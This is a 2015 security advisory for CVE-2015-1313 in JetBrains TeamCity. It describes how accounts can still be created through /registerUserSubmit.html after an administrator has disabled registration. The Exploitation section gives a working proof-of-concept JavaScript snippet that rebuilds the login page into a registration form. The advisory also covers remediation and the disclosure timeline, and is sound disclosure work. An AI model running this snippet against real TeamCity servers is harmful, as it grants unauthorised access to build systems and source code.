Articles & News 

4 February 2015

Advisory: TeamCity Account Creation

Advisory CVE Exploit TeamCity

Overview

TeamCity is a multi-platform continuous integration and build server product created by JetBrains. It is used by many development organisations to automate the build and deployment of software solutions as part of the development process.

TeamCity is a very popular product and hence the number of installations, both public and private, is quite high.

TeamCity version 9.0.1 and earlier was found to be vulnerable to an account creation issue which allows unauthorised users to gain access to the server and potentially extract sensitive information, including source code. Depending on the configuration, new users may have permission to execute new builds of software projects and potentially hijack configuration parameters resulting in remote code execution.

Vulnerability Details

TeamCity gives administrators the ability to disable guest logins, and registration of new users via configuration settings. When the application is configured to allow users to register accounts, a link is made available on the login page that directs them to the sign-up page. From there, a new user can create an account in the system and is immediately logged in with their new account details. The registration form contains Username, Password and Confirm Password fields, each of which needs to be filled out prior to submission. When the user completes these fields and attempts to register, the specified values are not submitted in clear text. Instead, some in-browser cryptography is performed and the Password and Confirm Password fields are submitted as ciphertext. The keys that are used for this cryptographic process are available inside the browser.

When the administrator changes the configuration settings so as to deny new account creation, the login page of the application no longer displays a link to the registration page. If a user knows the registration URL and they browse to it directly, the application returns a redirect response and the user is presented with the login page again. As far as the front-end is concerned, the registration functionality is disabled.

The issue is that user accounts can still be created, even when configured to disallow account creation. This is made possible because the function that handles user account registration at /registerUserSubmit.html is still available to users who know how to create a valid request. This page doesn't appear to respect the administrator's configuration setting.

Each TeamCity installation has its own cryptographic keys, and so it's not possible to apply a sign-up request from one server to another. However, given that all of the cryptographic keys required to sign in are present in the browser via the login page, it is trivial to construct a valid account creation request using those keys.

Affected versions

Four separate versions of the TeamCity software were tested, and all were vulnerable to the issue. Those versions were:

  • 9.0.1
  • 8.0.3
  • 8.0.2
  • 8.0.1

It is likely that all versions of TeamCity up to and including 9.0.1 are vulnerable.

CVE Identifier

This vulnerability was allocated CVE-2015-1313 by MITRE.

Exploitation

In order to exploit this flaw, it is possible to use to the login page itself. A user can browse to the login page of a vulnerable installation, and be presented with the following:

Default login page

At this point the cryptography functionality is made available. The following JavaScript snippet, when run, modifies the existing login form so that it becomes a functional registration form.

var form = jQuery(
'<form class="loginForm" method="post" action="registerUserSubmit.html">' +
'<div id="errorMessage"></div><table><tr class="formField"><th>' +
'<label for="input_teamcityUsername">Username: <span class="mandatoryAsterix" ' +
'title="Mandatory field">*</span></label></th><td><input class="text" ' +
'id="input_teamcityUsername" type="text" name="username1"/><span class="error" ' +
'id="errorUsername1" style="margin-left: 0;"></span></td></tr><tr class="formField">' +
'<th><label for="password1">Password: <span class="mandatoryAsterix" title="Mandatory ' +
'field">*</span></label></th><td><input class="text" id="password1" type="password" ' +
'name="password1" maxlength="80"><span class="error" id="errorPassword1" ' +
'style="margin-left: 0;"></span></td></tr><tr class="formField"><th><label ' +
'for="retypedPassword">Confirm password: <span class="mandatoryAsterix" ' +
'title="Mandatory field">*</span></label></th><td><input class="text" ' +
'id="retypedPassword" type="password" name="retypedPassword" maxlength="80"></td>' +
'</tr><tr><th><i id="saving" style="display: none; " class="icon-refresh icon-spin ' +
'progressRing progressRingSubmitBlock" title="Please wait..."></i></th>' +
'<td><input class="btn loginButton" type="submit" value="Register"/><a ' +
'class="loginButton" href="/login.html">Cancel</a></td></tr>' + '</table>' +
'<input type="hidden" id="submitCreateUser" name="submitCreateUser"/>' +
'<input type="hidden" id="publicKey" name="publicKey" value=""/></form>');

form.find('#publicKey').attr('value', jQuery('form.loginForm').find('#publicKey').attr('value'));
jQuery('.loginForm').unbind('submit').replaceWith(form);
form.submit(function() {return BS.CreateUserForm.submitCreateUser();});

BS.CreateUserForm=OO.extend(BS.AbstractPasswordForm,{submitCreateUser:function(){
var a=this;BS.PasswordFormSaver.save(this,this.formElement().action,OO.extend(
BS.ErrorsAwareListener,{onDuplicateAccountError:function(b){
$("errorUsername1").innerHTML=b.firstChild.nodeValue;a.highlightErrorField(
$("input_teamcityUsername"));},onEmptyUsernameError:function(b){
$("errorUsername1").innerHTML=b.firstChild.nodeValue;a.highlightErrorField(
$("input_teamcityUsername"));},onPasswordsMismatchError:function(b){
$("errorPassword1").innerHTML=b.firstChild.nodeValue;a.highlightErrorField(
$("password1"));a.highlightErrorField($("retypedPassword"));},
onEmptyPasswordError:function(b){$("errorPassword1").innerHTML=b.firstChild.nodeValue;
a.highlightErrorField($("password1"));},onMaxNumberOfUserAccountsReachedError:
function(b){alert(b.firstChild.nodeValue);},onUserPropertyError:function(c){
var e=c.firstChild.nodeValue.split(":",2);if(e.length<2){return;}
var d=$("error_"+e[0]);if(d!=null){d.innerHTML=e[1];var b=$("input_"+e[0]);
if(b){a.highlightErrorField(b);}}},onCompleteSave:function(c,d,b){
BS.ErrorsAwareListener.onCompleteSave(c,d,b);if(!b){BS.XMLResponse.processRedirect(d);}
}}));return false;}});BS.AdminCreateUserForm=OO.extend(BS.CreateUserForm,{
setSaving:function(a){if(a){BS.Util.show("saving1");}else{BS.Util.hide("saving1");
}}});;

This JavaScript can be entered into the browser directly via the JavaScript console, as shown below:

JavaScript insertion

Once executed the login form is then changed to a registration form with the appropriate submission events all wired-up correctly:

Generated registration form

At this point this registration form functions exactly like the one that has been turned off by the administrator, and any requests made from this form will succeed in creating accounts on the server.

Remediation

Download and install TeamCity version 9.0.2 (release notes).

Timeline

  • 19th January 2015
    • Bug discovery and Proof of Concept exploit developed.
    • Contacted vendor requesting PGP key for secure communications.
    • Contacted MITRE requesting CVE identifier.
  • 20th January 2015
    • Versions 9.0.x and 8.1.x tested and found to be vulnerable.
    • Secure contact with vendor established, vulnerability details disclosed.
    • Vendor responded indicating issue is under investigation.
  • 23rd January 2015
    • MITRE responded, CVE-2015-1313 allocated.
    • Contacted vendor informing them of CVE identifer allocation.
  • 31st January 2015
    • Vendor released TeamCity version 9.0.2 which addresses the issue.
  • 04th February 2015
    • Public disclosure.